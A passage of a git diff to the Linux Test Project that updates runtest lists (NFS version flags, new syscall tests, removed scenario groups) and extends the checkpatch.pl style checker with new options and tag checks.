-DI001 dirty -DS001 dio_sparse -DI002 dirty -DS002 dio_sparse -DI003 dirty -DS003 dio_sparse -DI004 dirty -DS004 dio_sparse -DI005 dirty -DS005 dio_sparse -DI006 dirty -DS006 dio_sparse -DI007 dirty -DS007 dio_sparse -DI008 dirty -DS008 dio_sparse -DI009 dirty -DS009 dio_sparse -#iteration on dio_sparse -DIO00 dio_sparse -DIO01 dio_sparse -DIO02 dio_sparse -DIO03 dio_sparse -DIO04 dio_sparse -DIO05 dio_sparse -DIO06 dio_sparse -DIO07 dio_sparse -DIO08 dio_sparse -DIO09 dio_sparse #Running aiodio_append AD000 aiodio_append AD001 aiodio_append diff --git a/ltp/runtest/net.nfs b/ltp/runtest/net.nfs index fef993da..5d6adaa7 100644 --- a/ltp/runtest/net.nfs +++ b/ltp/runtest/net.nfs @@ -4,126 +4,126 @@ # nfs01_v30_ip4u nfs01.sh -v 3 -t udp nfs01_v30_ip4t nfs01.sh -v 3 -t tcp -nfs01_v40_ip4t nfs01.sh -v 4 -t tcp +nfs01_v40_ip4t nfs01.sh -v 4.0 -t tcp nfs01_v41_ip4t nfs01.sh -v 4.1 -t tcp nfs01_v42_ip4t nfs01.sh -v 4.2 -t tcp nfs01_v30_ip6u nfs01.sh -6 -v 3 -t udp nfs01_v30_ip6t nfs01.sh -6 -v 3 -t tcp -nfs01_v40_ip6t nfs01.sh -6 -v 4 -t tcp +nfs01_v40_ip6t nfs01.sh -6 -v 4.0 -t tcp nfs01_v41_ip6t nfs01.sh -6 -v 4.1 -t tcp nfs01_v42_ip6t nfs01.sh -6 -v 4.2 -t tcp nfs02_v30_ip4u nfs02.sh -v 3 -t udp nfs02_v30_ip4t nfs02.sh -v 3 -t tcp -nfs02_v40_ip4t nfs02.sh -v 4 -t tcp +nfs02_v40_ip4t nfs02.sh -v 4.0 -t tcp nfs02_v41_ip4t nfs02.sh -v 4.1 -t tcp nfs02_v42_ip4t nfs02.sh -v 4.2 -t tcp nfs02_v30_ip6u nfs02.sh -6 -v 3 -t udp nfs02_v30_ip6t nfs02.sh -6 -v 3 -t tcp -nfs02_v40_ip6t nfs02.sh -6 -v 4 -t tcp +nfs02_v40_ip6t nfs02.sh -6 -v 4.0 -t tcp nfs02_v41_ip6t nfs02.sh -6 -v 4.1 -t tcp nfs02_v42_ip6t nfs02.sh -6 -v 4.2 -t tcp nfs03_v30_ip4u nfs03.sh -v 3 -t udp nfs03_v30_ip4t nfs03.sh -v 3 -t tcp -nfs03_v40_ip4t nfs03.sh -v 4 -t tcp +nfs03_v40_ip4t nfs03.sh -v 4.0 -t tcp nfs03_v41_ip4t nfs03.sh -v 4.1 -t tcp nfs03_v42_ip4t nfs03.sh -v 4.2 -t tcp nfs03_v30_ip6u nfs03.sh -6 -v 3 -t udp nfs03_v30_ip6t nfs03.sh -6 -v 3 -t tcp -nfs03_v40_ip6t nfs03.sh -6 -v 4 -t tcp +nfs03_v40_ip6t nfs03.sh -6 -v 4.0 -t tcp nfs03_v41_ip6t nfs03.sh -6 -v 4.1 -t tcp nfs03_v42_ip6t nfs03.sh -6 -v 4.2 -t tcp nfs04_v30_ip4u nfs04.sh -v 3 -t udp nfs04_v30_ip4t nfs04.sh -v 3 -t tcp -nfs04_v40_ip4t nfs04.sh -v 4 -t tcp +nfs04_v40_ip4t nfs04.sh -v 4.0 -t tcp nfs04_v41_ip4t nfs04.sh -v 4.1 -t tcp nfs04_v42_ip4t nfs04.sh -v 4.2 -t tcp nfs04_v30_ip6u nfs04.sh -6 -v 3 -t udp nfs04_v30_ip6t nfs04.sh -6 -v 3 -t tcp -nfs04_v40_ip6t nfs04.sh -6 -v 4 -t tcp +nfs04_v40_ip6t nfs04.sh -6 -v 4.0 -t tcp nfs04_v41_ip6t nfs04.sh -6 -v 4.1 -t tcp nfs04_v42_ip6t nfs04.sh -6 -v 4.2 -t tcp nfs05_v30_ip4u nfs05.sh -v 3 -t udp nfs05_v30_ip4t nfs05.sh -v 3 -t tcp -nfs05_v40_ip4t nfs05.sh -v 4 -t tcp +nfs05_v40_ip4t nfs05.sh -v 4.0 -t tcp nfs05_v41_ip4t nfs05.sh -v 4.1 -t tcp nfs05_v42_ip4t nfs05.sh -v 4.2 -t tcp nfs05_v30_ip6u nfs05.sh -6 -v 3 -t udp nfs05_v30_ip6t nfs05.sh -6 -v 3 -t tcp -nfs05_v40_ip6t nfs05.sh -6 -v 4 -t tcp +nfs05_v40_ip6t nfs05.sh -6 -v 4.0 -t tcp nfs05_v41_ip6t nfs05.sh -6 -v 4.1 -t tcp nfs05_v42_ip6t nfs05.sh -6 -v 4.2 -t tcp -nfs06_v30_v40_ip4 nfs06.sh -v "3,3,3,4,4,4" -t "udp,udp,tcp,tcp,tcp,tcp" +nfs06_v30_v40_ip4 nfs06.sh -v "3,3,3,4.0,4.0,4.0" -t "udp,udp,tcp,tcp,tcp,tcp" nfs06_vall_ip4t nfs06.sh -v "3,4,4.1,4.2,4.2,4.2" -t "tcp,tcp,tcp,tcp,tcp,tcp" nfs06_v4x_ip6t nfs06.sh -6 -v "4,4.1,4.1,4.2,4.2,4.2" -t "tcp,tcp,tcp,tcp,tcp,tcp" nfs07_v30_ip4u nfs07.sh -v 3 -t udp nfs07_v30_ip4t nfs07.sh -v 3 -t tcp -nfs07_v40_ip4t nfs07.sh -v 4 -t tcp +nfs07_v40_ip4t nfs07.sh -v 4.0 -t tcp nfs07_v41_ip4t nfs07.sh -v 4.1 -t tcp nfs07_v42_ip4t nfs07.sh -v 4.2 -t tcp nfs07_v30_ip6u nfs07.sh -6 -v 3 -t udp nfs07_v30_ip6t nfs07.sh -6 -v 3 -t tcp -nfs07_v40_ip6t nfs07.sh -6 -v 4 -t tcp +nfs07_v40_ip6t nfs07.sh -6 -v 4.0 -t tcp nfs07_v41_ip6t nfs07.sh -6 -v 4.1 -t tcp nfs07_v42_ip6t nfs07.sh -6 -v 4.2 -t tcp nfs08_v30_ip4u nfs08.sh -v 3 -t udp nfs08_v30_ip4t nfs08.sh -v 3 -t tcp -nfs08_v40_ip4t nfs08.sh -v 4 -t tcp +nfs08_v40_ip4t nfs08.sh -v 4.0 -t tcp nfs08_v41_ip4t nfs08.sh -v 4.1 -t tcp nfs08_v42_ip4t nfs08.sh -v 4.2 -t tcp nfs08_v30_ip6u nfs08.sh -6 -v 3 -t udp nfs08_v30_ip6t nfs08.sh -6 -v 3 -t tcp -nfs08_v40_ip6t nfs08.sh -6 -v 4 -t tcp +nfs08_v40_ip6t nfs08.sh -6 -v 4.0 -t tcp nfs08_v41_ip6t nfs08.sh -6 -v 4.1 -t tcp nfs08_v42_ip6t nfs08.sh -6 -v 4.2 -t tcp nfs09_v30_ip4u nfs09.sh -v 3 -t udp nfs09_v30_ip4t nfs09.sh -v 3 -t tcp -nfs09_v40_ip4t nfs09.sh -v 4 -t tcp +nfs09_v40_ip4t nfs09.sh -v 4.0 -t tcp nfs09_v41_ip4t nfs09.sh -v 4.1 -t tcp nfs09_v42_ip4t nfs09.sh -v 4.2 -t tcp nfs09_v30_ip6u nfs09.sh -6 -v 3 -t udp nfs09_v30_ip6t nfs09.sh -6 -v 3 -t tcp -nfs09_v40_ip6t nfs09.sh -6 -v 4 -t tcp +nfs09_v40_ip6t nfs09.sh -6 -v 4.0 -t tcp nfs09_v41_ip6t nfs09.sh -6 -v 4.1 -t tcp nfs09_v42_ip6t nfs09.sh -6 -v 4.2 -t tcp nfs10_v30_ip4u nfs10.sh -v 3 -t udp nfs10_v30_ip4t nfs10.sh -v 3 -t tcp -nfs10_v40_ip4t nfs10.sh -v 4 -t tcp +nfs10_v40_ip4t nfs10.sh -v 4.0 -t tcp nfs10_v41_ip4t nfs10.sh -v 4.1 -t tcp nfs10_v42_ip4t nfs10.sh -v 4.2 -t tcp nfs10_v30_ip6u nfs10.sh -6 -v 3 -t udp nfs10_v30_ip6t nfs10.sh -6 -v 3 -t tcp -nfs10_v40_ip6t nfs10.sh -6 -v 4 -t tcp +nfs10_v40_ip6t nfs10.sh -6 -v 4.0 -t tcp nfs10_v41_ip6t nfs10.sh -6 -v 4.1 -t tcp nfs10_v42_ip6t nfs10.sh -6 -v 4.2 -t tcp nfslock01_v30_ip4u nfslock01.sh -v 3 -t udp nfslock01_v30_ip4t nfslock01.sh -v 3 -t tcp -nfslock01_v40_ip4t nfslock01.sh -v 4 -t tcp +nfslock01_v40_ip4t nfslock01.sh -v 4.0 -t tcp nfslock01_v41_ip4t nfslock01.sh -v 4.1 -t tcp nfslock01_v42_ip4t nfslock01.sh -v 4.2 -t tcp nfslock01_v30_ip6u nfslock01.sh -6 -v 3 -t udp nfslock01_v30_ip6t nfslock01.sh -6 -v 3 -t tcp -nfslock01_v40_ip6t nfslock01.sh -6 -v 4 -t tcp +nfslock01_v40_ip6t nfslock01.sh -6 -v 4.0 -t tcp nfslock01_v41_ip6t nfslock01.sh -6 -v 4.1 -t tcp nfslock01_v42_ip6t nfslock01.sh -6 -v 4.2 -t tcp nfsstat01_v30_ip4u nfsstat01.sh -v 3 -t udp nfsstat01_v30_ip4t nfsstat01.sh -v 3 -t tcp -nfsstat01_v40_ip4t nfsstat01.sh -v 4 -t tcp +nfsstat01_v40_ip4t nfsstat01.sh -v 4.0 -t tcp nfsstat01_v41_ip4t nfsstat01.sh -v 4.1 -t tcp nfsstat01_v42_ip4t nfsstat01.sh -v 4.2 -t tcp nfsstat01_v30_ip6u nfsstat01.sh -6 -v 3 -t udp nfsstat01_v30_ip6t nfsstat01.sh -6 -v 3 -t tcp -nfsstat01_v40_ip6t nfsstat01.sh -6 -v 4 -t tcp +nfsstat01_v40_ip6t nfsstat01.sh -6 -v 4.0 -t tcp nfsstat01_v41_ip6t nfsstat01.sh -6 -v 4.1 -t tcp nfsstat01_v42_ip6t nfsstat01.sh -6 -v 4.2 -t tcp @@ -131,11 +131,11 @@ nfsstat02 nfsstat02.sh fsx_v30_ip4u fsx.sh -v 3 -t udp fsx_v30_ip4t fsx.sh -v 3 -t tcp -fsx_v40_ip4t fsx.sh -v 4 -t tcp +fsx_v40_ip4t fsx.sh -v 4.0 -t tcp fsx_v41_ip4t fsx.sh -v 4.1 -t tcp fsx_v42_ip4t fsx.sh -v 4.2 -t tcp fsx_v30_ip6u fsx.sh -6 -v 3 -t udp fsx_v30_ip6t fsx.sh -6 -v 3 -t tcp -fsx_v40_ip6t fsx.sh -6 -v 4 -t tcp +fsx_v40_ip6t fsx.sh -6 -v 4.0 -t tcp fsx_v41_ip6t fsx.sh -6 -v 4.1 -t tcp fsx_v42_ip6t fsx.sh -6 -v 4.2 -t tcp diff --git a/ltp/runtest/power_management_tests b/ltp/runtest/power_management_tests index 884e615c..b670da6e 100644 --- a/ltp/runtest/power_management_tests +++ b/ltp/runtest/power_management_tests @@ -1,7 +1,4 @@ #POWER_MANAGEMENT -runpwtests01 runpwtests01.sh -runpwtests02 runpwtests02.sh runpwtests03 runpwtests03.sh runpwtests04 runpwtests04.sh -#runpwtests05 runpwtests05.sh runpwtests06 runpwtests06.sh diff --git a/ltp/runtest/power_management_tests_exclusive b/ltp/runtest/power_management_tests_exclusive deleted file mode 100644 index 0eb01224..00000000 --- a/ltp/runtest/power_management_tests_exclusive +++ /dev/null @@ -1,6 +0,0 @@ -#POWER_MANAGEMENT exclusive -runpwtests_exclusive01 runpwtests_exclusive01.sh -runpwtests_exclusive02 runpwtests_exclusive02.sh -runpwtests_exclusive03 runpwtests_exclusive03.sh -runpwtests_exclusive04 runpwtests_exclusive04.sh -runpwtests_exclusive05 runpwtests_exclusive05.sh diff --git a/ltp/runtest/s390x_tests b/ltp/runtest/s390x_tests deleted file mode 100644 index 0c2bf05a..00000000 --- a/ltp/runtest/s390x_tests +++ /dev/null @@ -1,2 +0,0 @@ -# Those tests are designed to be executed in s390x environment (zVM or LPAR) -vmcp vmcp_m.sh diff --git a/ltp/runtest/syscalls b/ltp/runtest/syscalls index 4b284f27..f790e8f8 100644 --- a/ltp/runtest/syscalls +++ b/ltp/runtest/syscalls @@ -68,6 +68,7 @@ cachestat03 cachestat03 cachestat04 cachestat04 chdir01 chdir01 +chdir02 chdir02 chdir04 chdir04 chmod01 chmod01 @@ -123,10 +124,13 @@ clone06 clone06 clone07 clone07 clone08 clone08 clone09 clone09 +clone10 clone10 +clone11 clone11 clone301 clone301 clone302 clone302 clone303 clone303 +clone304 clone304 close01 close01 close02 close02 @@ -250,6 +254,7 @@ file_attr01 file_attr01 file_attr02 file_attr02 file_attr03 file_attr03 file_attr04 file_attr04 +file_attr05 file_attr05 #posix_fadvise test cases posix_fadvise01 posix_fadvise01 @@ -619,6 +624,8 @@ ioctl_ficlonerange01 ioctl_ficlonerange01 ioctl_ficlonerange02 ioctl_ficlonerange02 ioctl_fiemap01 ioctl_fiemap01 +ioctl_getlbmd01 ioctl_getlbmd01 + ioctl_pidfd01 ioctl_pidfd01 ioctl_pidfd02 ioctl_pidfd02 ioctl_pidfd03 ioctl_pidfd03 @@ -666,6 +673,7 @@ fanotify21 fanotify21 fanotify22 fanotify22 fanotify23 fanotify23 fanotify24 fanotify24 +fanotify25 fanotify25 ioperm01 ioperm01 ioperm02 ioperm02 @@ -693,6 +701,7 @@ io_setup02 io_setup02 io_submit01 io_submit01 io_submit02 io_submit02 io_submit03 io_submit03 +io_submit04 io_submit04 keyctl01 keyctl01 keyctl02 keyctl02 @@ -920,6 +929,7 @@ mremap03 mremap03 mremap04 mremap04 mremap05 mremap05 mremap06 mremap06 +mremap07 mremap07 mseal01 mseal01 mseal02 mseal02 @@ -973,6 +983,7 @@ nanosleep04 nanosleep04 name_to_handle_at01 name_to_handle_at01 name_to_handle_at02 name_to_handle_at02 +name_to_handle_at03 name_to_handle_at03 nftw01 nftw01 nftw6401 nftw6401 @@ -1087,6 +1098,8 @@ pivot_root01 pivot_root01 poll01 poll01 poll02 poll02 +poll03 poll03 +poll04 poll04 ppoll01 ppoll01 @@ -1766,6 +1779,11 @@ umount2_01 umount2_01 umount2_02 umount2_02 userfaultfd01 userfaultfd01 +userfaultfd02 userfaultfd02 +userfaultfd03 userfaultfd03 +userfaultfd04 userfaultfd04 +userfaultfd05 userfaultfd05 +userfaultfd06 userfaultfd06 ustat01 ustat01 ustat02 ustat02 @@ -1885,6 +1903,7 @@ membarrier01 membarrier01 io_uring01 io_uring01 io_uring02 io_uring02 +io_uring03 io_uring03 # Tests below may cause kernel memory leak perf_event_open03 perf_event_open03 diff --git a/ltp/runtest/tracing b/ltp/runtest/tracing index d2700ca5..674e2ad9 100644 --- a/ltp/runtest/tracing +++ b/ltp/runtest/tracing @@ -3,6 +3,7 @@ ftrace_regression01 ftrace_regression01.sh ftrace_regression02 ftrace_regression02.sh ftrace-stress-test ftrace_stress_test.sh 90 dynamic_debug01 dynamic_debug01.sh +fanotify25 fanotify25 pt_full_trace_basic pt_test pt_snapshot_trace_basic pt_test -m pt_ex_user pt_test -e user diff --git a/ltp/scenario_groups/Makefile b/ltp/scenario_groups/Makefile deleted file mode 100644 index fcbc9270..00000000 --- a/ltp/scenario_groups/Makefile +++ /dev/null @@ -1,38 +0,0 @@ -# -# scenario-groups Makefile. -# -# Copyright (C) 2010, Linux Test Project. -# -# This program is free software; you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation; either version 2 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License along -# with this program; if not, write to the Free Software Foundation, Inc., -# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. -# -# Ngie Cooper, November 2010 -# - -top_srcdir ?= .. - -include $(top_srcdir)/include/mk/env_pre.mk - -INSTALL_DIR := scenario_groups - -# Don't copy over the Makefile -UNWANTED_FILES := Makefile - -INSTALL_MODE := 00644 - -INSTALL_TARGETS := $(filter-out $(UNWANTED_FILES),$(notdir $(patsubst $(abs_srcdir)/%,%,$(sort $(wildcard $(abs_srcdir)/*))))) - -MAKE_TARGETS := - -include $(top_srcdir)/include/mk/generic_leaf_target.mk diff --git a/ltp/scenario_groups/default b/ltp/scenario_groups/default deleted file mode 100644 index 0e76b2be..00000000 --- a/ltp/scenario_groups/default +++ /dev/null @@ -1,28 +0,0 @@ -syscalls -fs -fs_perms_simple -dio -mm -ipc -irq -sched -math -nptl -pty -containers -fs_bind -controllers -fcntl-locktests -power_management_tests -hugetlb -commands -hyperthreading -can -cpuhotplug -net.ipv6_lib -input -cve -crypto -kernel_misc -uevent -watchqueue diff --git a/ltp/scenario_groups/network b/ltp/scenario_groups/network deleted file mode 100644 index 974b9fc5..00000000 --- a/ltp/scenario_groups/network +++ /dev/null @@ -1,20 +0,0 @@ -can -net.features -net.ipv6 -net.ipv6_lib -net.tcp_cmds -net.multicast -net.nfs -net.rpc_tests -net.tirpc_tests -net.sctp -net_stress.appl -net_stress.broken_ip -net_stress.interface -net_stress.ipsec_dccp -net_stress.ipsec_icmp -net_stress.ipsec_sctp -net_stress.ipsec_tcp -net_stress.ipsec_udp -net_stress.multicast -net_stress.route diff --git a/ltp/scripts/checkpatch.pl b/ltp/scripts/checkpatch.pl index 21d9c9fe..0d18771f 100755 --- a/ltp/scripts/checkpatch.pl +++ b/ltp/scripts/checkpatch.pl @@ -1,5 +1,5 @@ #!/usr/bin/env perl -# SPDX-License-Identifier: GPL-2.0-only +# SPDX-License-Identifier: GPL-2.0 # # (c) 2001, Dave Jones. (the file handling bit) # (c) 2005, Joel Schopp (the ugly bit) @@ -28,6 +28,7 @@ my %verbose_messages = (); my %verbose_emitted = (); my $tree = 1; my $chk_signoff = 1; +my $chk_fixes_tag = 1; my $chk_patch = 1; my $tst_only; my $emacs = 0; @@ -56,13 +57,18 @@ my %ignore_type = (); my @ignore = (); my $help = 0; my $configuration_file = ".checkpatch.conf"; +my $def_configuration_dirs_help = '.:$HOME:.scripts'; +(my $def_configuration_dirs = $def_configuration_dirs_help) =~ s/\$(\w+)/$ENV{$1}/g; +my $env_config_dir = 'CHECKPATCH_CONFIG_DIR'; my $max_line_length = 100; my $ignore_perl_version = 0; +my $spdx_cxx_comments = 0; my $minimum_perl_version = 5.10.0; my $min_conf_desc_length = 4; my $spelling_file = "$D/spelling.txt"; my $codespell = 0; my $codespellfile = "/usr/share/codespell/dictionary.txt"; +my $user_codespellfile = ""; my $conststructsfile = "$D/const_structs.checkpatch"; my $docsfile = "$D/../Documentation/dev-tools/checkpatch.rst"; my $typedefsfile; @@ -73,6 +79,8 @@ my $git_command ='export LANGUAGE=en_US.UTF-8; git'; my $tabsize = 8; my ${CONFIG_} = "CONFIG_"; +my %maybe_linker_symbol; # for externs in c exceptions, when seen in *vmlinux.lds.h + sub help { my ($exitcode) = @_; @@ -85,6 +93,7 @@ Options: -v, --verbose verbose mode --no-tree run without a kernel tree --no-signoff do not check for 'Signed-off-by' line + --no-fixes-tag do not check for 'Fixes:' tag --patch treat FILE as patchfile (default) --emacs emacs compile window format --terse one line per report @@ -108,7 +117,8 @@ Options: --max-line-length=n set the maximum line length, (default $max_line_length) if exceeded, warn on patches requires --strict for use with --file - --min-conf-desc-length=n set the min description length, if shorter, warn + --min-conf-desc-length=n set the minimum description length for config symbols + in lines, if shorter, warn (default $min_conf_desc_length) --tab-size=n set the number of spaces for tab (default $tabsize) --root=PATH PATH to the kernel tree root --no-summary suppress the per-file summary @@ -129,8 +139,12 @@ Options: file. It's your fault if there's no backup or git --ignore-perl-version override checking of perl version. expect runtime errors. + --spdx-cxx-comments don't force C comments (/* */) for SPDX license + (required by old toolchains), allow also C++ + comments (//). + NOTE: it should *not* be used for Linux mainline. --codespell Use the codespell dictionary for spelling/typos - (default:/usr/share/codespell/dictionary.txt) + (default:$codespellfile) --codespellfile Use this codespell dictionary --typedefsfile Read additional types from this file --color[=WHEN] Use colors 'always', 'never', or only when output @@ -140,11 +154,34 @@ Options: -h, --help, --version display this help and exit When FILE is - read standard input. + +CONFIGURATION FILE +Default configuration options can be stored in $configuration_file, +search path: '$def_configuration_dirs_help' or in a directory specified by +\$$env_config_dir environment variable (fallback to the default search path). EOM exit($exitcode); } +my $DO_WHILE_0_ADVICE = q{ + do {} while (0) advice is over-stated in a few situations: + + The more obvious case is macros, like MODULE_PARM_DESC, invoked at + file-scope, where C disallows code (it must be in functions). See + $exceptions if you have one to add by name. + + More troublesome is declarative macros used at top of new scope, + like DECLARE_PER_CPU. These might just compile with a do-while-0 + wrapper, but would be incorrect. Most of these are handled by + detecting struct,union,etc declaration primitives in $exceptions. + + Theres also macros called inside an if (block), which "return" an + expression. These cannot do-while, and need a ({}) wrapper. + + Enjoy this qualification while we work to improve our heuristics. +}; + sub uniq { my %seen; return grep { !$seen{$_}++ } @_; @@ -213,7 +250,7 @@ sub list_types { exit($exitcode); } -my $conf = which_conf($configuration_file); +my $conf = which_conf($configuration_file, $env_config_dir, $def_configuration_dirs); if (-f $conf) { my @conf_args; open(my $conffile, '<', "$conf") @@ -292,6 +329,7 @@ GetOptions( 'v|verbose!' => \$verbose, 'tree!' => \$tree, 'signoff!' => \$chk_signoff, + 'fixes-tag!' => \$chk_fixes_tag, 'patch!' => \$chk_patch, 'emacs!' => \$emacs, 'terse!' => \$terse, @@ -314,10 +352,11 @@ GetOptions( 'fix!' => \$fix, 'fix-inplace!' => \$fix_inplace, 'ignore-perl-version!' => \$ignore_perl_version, + 'spdx-cxx-comments!' => \$spdx_cxx_comments, 'debug=s' => \%debug, 'test-only=s' => \$tst_only, 'codespell!' => \$codespell, - 'codespellfile=s' => \$codespellfile, + 'codespellfile=s' => \$user_codespellfile, 'typedefsfile=s' => \$typedefsfile, 'color=s' => \$color, 'no-color' => \$color, #keep old behaviors of -nocolor @@ -325,9 +364,32 @@ GetOptions( 'kconfig-prefix=s' => \${CONFIG_}, 'h|help' => \$help, 'version' => \$help -) or help(1); +) or $help = 2; + +if ($user_codespellfile) { + # Use the user provided codespell file unconditionally + $codespellfile = $user_codespellfile; +} elsif (!(-f $codespellfile)) { + # If /usr/share/codespell/dictionary.txt is not present, try to find it + # under codespell's install directory: /data/dictionary.txt + if (($codespell || $help) && which("python3") ne "") { + my $python_codespell_dict = << "EOF"; + +import os.path as op +import codespell_lib +codespell_dir = op.dirname(codespell_lib.__file__) +codespell_file = op.join(codespell_dir, 'data', 'dictionary.txt') +print(codespell_file, end='') +EOF + + my $codespell_dict = `python3 -c "$python_codespell_dict" 2> /dev/null`; + $codespellfile = $codespell_dict if (-f $codespell_dict); + } +} -help(0) if ($help); +# $help is 1 if either -h, --help or --version is passed as option - exitcode: 0 +# $help is 2 if invalid option is passed - exitcode: 1 +help($help - 1) if ($help); die "$P: --git cannot be used with --file or --fix\n" if ($git && ($file || $fix)); die "$P: --verbose cannot be used with --terse\n" if ($verbose && $terse); @@ -486,6 +548,7 @@ our $Attribute = qr{ __ro_after_init| __kprobes| $InitAttribute| + __aligned\s*\(.*\)| ____cacheline_aligned| ____cacheline_aligned_in_smp| ____cacheline_internodealigned_in_smp| @@ -552,10 +615,14 @@ our $typeKernelTypedefs = qr{(?x: (?:__)?(?:u|s|be|le)(?:8|16|32|64)| atomic_t )}; +our $typeStdioTypedefs = qr{(?x: + FILE +)}; our $typeTypedefs = qr{(?x: $typeC99Typedefs\b| $typeOtherOSTypedefs\b| - $typeKernelTypedefs\b + $typeKernelTypedefs\b| + $typeStdioTypedefs\b )}; our $zero_initializer = qr{(?:(?:0[xX])?0+$Int_type?|NULL|false)\b}; @@ -588,10 +655,27 @@ our $signature_tags = qr{(?xi: Reviewed-by:| Reported-by:| Suggested-by:| + Assisted-by:| To:| Cc: )}; +our @link_tags = qw(Link Closes); + +#Create a search and print patterns for all these strings to be used directly below +our $link_tags_search = ""; +our $link_tags_print = ""; +foreach my $entry (@link_tags) { + if ($link_tags_search ne "") { + $link_tags_search .= '|'; + $link_tags_print .= ' or '; + } + $entry .= ':'; + $link_tags_search .= $entry; + $link_tags_print .= "'$entry'"; +} +$link_tags_search = "(?:${link_tags_search})"; + our $tracing_logging_tags = qr{(?xi: [=-]*> | <[=-]* | @@ -616,6 +700,9 @@ our $tracing_logging_tags = qr{(?xi: [\.\!:\s]* )}; +# Device ID types like found in include/linux/mod_devicetable.h. +our $dev_id_types = qr{\b[a-z]\w*_device_id\b}; + sub edit_distance_min { my (@arr) = @_; my $len = scalar @arr; @@ -674,6 +761,17 @@ sub find_standard_signature { return ""; } +our $obsolete_archives = qr{(?xi: + \Qfreedesktop.org/archives/dri-devel\E | + \Qlists.infradead.org\E | + \Qlkml.org\E | + \Qmail-archive.com\E | + \Qmailman.alsa-project.org/pipermail\E | + \Qmarc.info\E | + \Qozlabs.org/pipermail\E | + \Qspinics.net\E +)}; + our @typeListMisordered = ( qr{char\s+(?:un)?signed}, qr{int\s+(?:(?:un)?signed\s+)?short\s}, @@ -773,16 +871,16 @@ foreach my $entry (@mode_permission_funcs) { $mode_perms_search = "(?:${mode_perms_search})"; our %deprecated_apis = ( - "synchronize_rcu_bh" => "synchronize_rcu", - "synchronize_rcu_bh_expedited" => "synchronize_rcu_expedited", - "call_rcu_bh" => "call_rcu", - "rcu_barrier_bh" => "rcu_barrier", - "synchronize_sched" => "synchronize_rcu", - "synchronize_sched_expedited" => "synchronize_rcu_expedited", - "call_rcu_sched" => "call_rcu", - "rcu_barrier_sched" => "rcu_barrier", - "get_state_synchronize_sched" => "get_state_synchronize_rcu", - "cond_synchronize_sched" => "cond_synchronize_rcu", + "kmap" => "kmap_local_page", + "kunmap" => "kunmap_local", + "kmap_atomic" => "kmap_local_page", + "kunmap_atomic" => "kunmap_local", + #These should be enough to drive away new IDR users + "DEFINE_IDR" => "DEFINE_XARRAY", + "idr_init" => "xa_init", + "idr_init_base" => "xa_init_flags", + "rcu_read_lock_trace" => "rcu_read_lock_tasks_trace", + "rcu_read_unlock_trace" => "rcu_read_unlock_tasks_trace", ); #Create a search pattern for all these strings to speed up a loop below @@ -1018,7 +1116,10 @@ our $FuncArg = qr{$Typecast{0,1}($LvalOrFunc|$Constant|$String)}; our $declaration_macros = qr{(?x: (?:$Storage\s+)?(?:[A-Z_][A-Z0-9]*_){0,2}(?:DEFINE|DECLARE)(?:_[A-Z0-9]+){1,6}\s*\(| (?:$Storage\s+)?[HLP]?LIST_HEAD\s*\(| - (?:SKCIPHER_REQUEST|SHASH_DESC|AHASH_REQUEST)_ON_STACK\s*\( + (?:SKCIPHER_REQUEST|SHASH_DESC|AHASH_REQUEST)_ON_STACK\s*\(| + (?:$Storage\s+)?(?:XA_STATE|XA_STATE_ORDER)\s*\(| + __cacheline_group_(?:begin|end)(?:_aligned)?\s*\(| + __dma_from_device_group_(?:begin|end)\s*\( )}; our %allow_repeated_words = ( @@ -1194,6 +1295,7 @@ sub git_commit_info { } $chk_signoff = 0 if ($file); +$chk_fixes_tag = 0 if ($file); my @rawlines = (); my @lines = (); @@ -1443,9 +1545,15 @@ sub which { } sub which_conf { - my ($conf) = @_; + my ($conf, $env_key, $paths) = @_; + my $env_dir = $ENV{$env_key}; + + if (defined($env_dir) && $env_dir ne "") { + return "$env_dir/$conf" if (-e "$env_dir/$conf"); + warn "$P: Can't find a readable $conf in '$env_dir', falling back to default search paths\n"; + } - foreach my $path (split(/:/, ".:$ENV{HOME}:.scripts")) { + foreach my $path (split(/:/, $paths)) { if (-e "$path/$conf") { return "$path/$conf"; } @@ -2557,6 +2665,11 @@ sub exclude_global_initialisers { $realfile =~ m@/bpf/.*\.bpf\.c$@; } +sub is_userspace { + my ($realfile) = @_; + return ($realfile =~ m@^tools/@ || $realfile =~ m@^scripts/@); +} + sub process { my $filename = shift; @@ -2573,6 +2686,9 @@ sub process { our $clean = 1; my $signoff = 0; + my $fixes_tag = 0; + my $is_revert = 0; + my $needs_fixes_tag = ""; my $author = ''; my $authorsignoff = 0; my $author_sob = ''; @@ -2805,7 +2921,7 @@ sub process { if ($realfile =~ m@^include/asm/@) { ERROR("MODIFIED_INCLUDE_ASM", - "do not modify files in include/asm, change architecture specific files in include/asm-\n" . "$here$rawline\n"); + "do not modify files in include/asm, change architecture specific files in arch//include/asm\n" . "$here$rawline\n"); } $found_file = 1; } @@ -2833,7 +2949,7 @@ sub process { } $checklicenseline = 1; - if ($realfile !~ /^MAINTAINERS/) { + if ($realfile !~ /^(MAINTAINERS|dev\/null)/) { my $last_binding_patch = $is_binding_patch; $is_binding_patch = () = $realfile =~ m@^(?:Documentation/devicetree/|include/dt-bindings/)@; @@ -2940,6 +3056,16 @@ sub process { } } +# Check for invalid patch separator + if ($in_commit_log && + $line =~ /^---.+/) { + if (ERROR("BAD_COMMIT_SEPARATOR", + "Invalid commit separator - some tools may have problems applying this\n" . $herecurr) && + $fix) { + $fixed[$fixlinenr] =~ s/-/=/g; + } + } + # Check for patch separator if ($line =~ /^---$/) { $has_patch_separator = 1; @@ -3000,6 +3126,15 @@ sub process { } } + # Assisted-by uses AGENT_NAME:MODEL_VERSION format, not email + if ($sign_off =~ /^Assisted-by:/i) { + if ($email !~ /^\S+:\S+/) { + WARN("BAD_SIGN_OFF", + "Assisted-by expects 'AGENT_NAME:MODEL_VERSION [TOOL1] [TOOL2]' format\n" . $herecurr); + } + next; + } + my ($email_name, $name_comment, $email_address, $comment) = parse_email($email); my $suggested_email = format_email(($email_name, $name_comment, $email_address, $comment)); if ($suggested_email eq "") { @@ -3100,17 +3235,79 @@ sub process { if ($sign_off =~ /^co-developed-by:$/i) { if ($email eq $author) { WARN("BAD_SIGN_OFF", - "Co-developed-by: should not be used to attribute nominal patch author '$author'\n" . "$here\n" . $rawline); + "Co-developed-by: 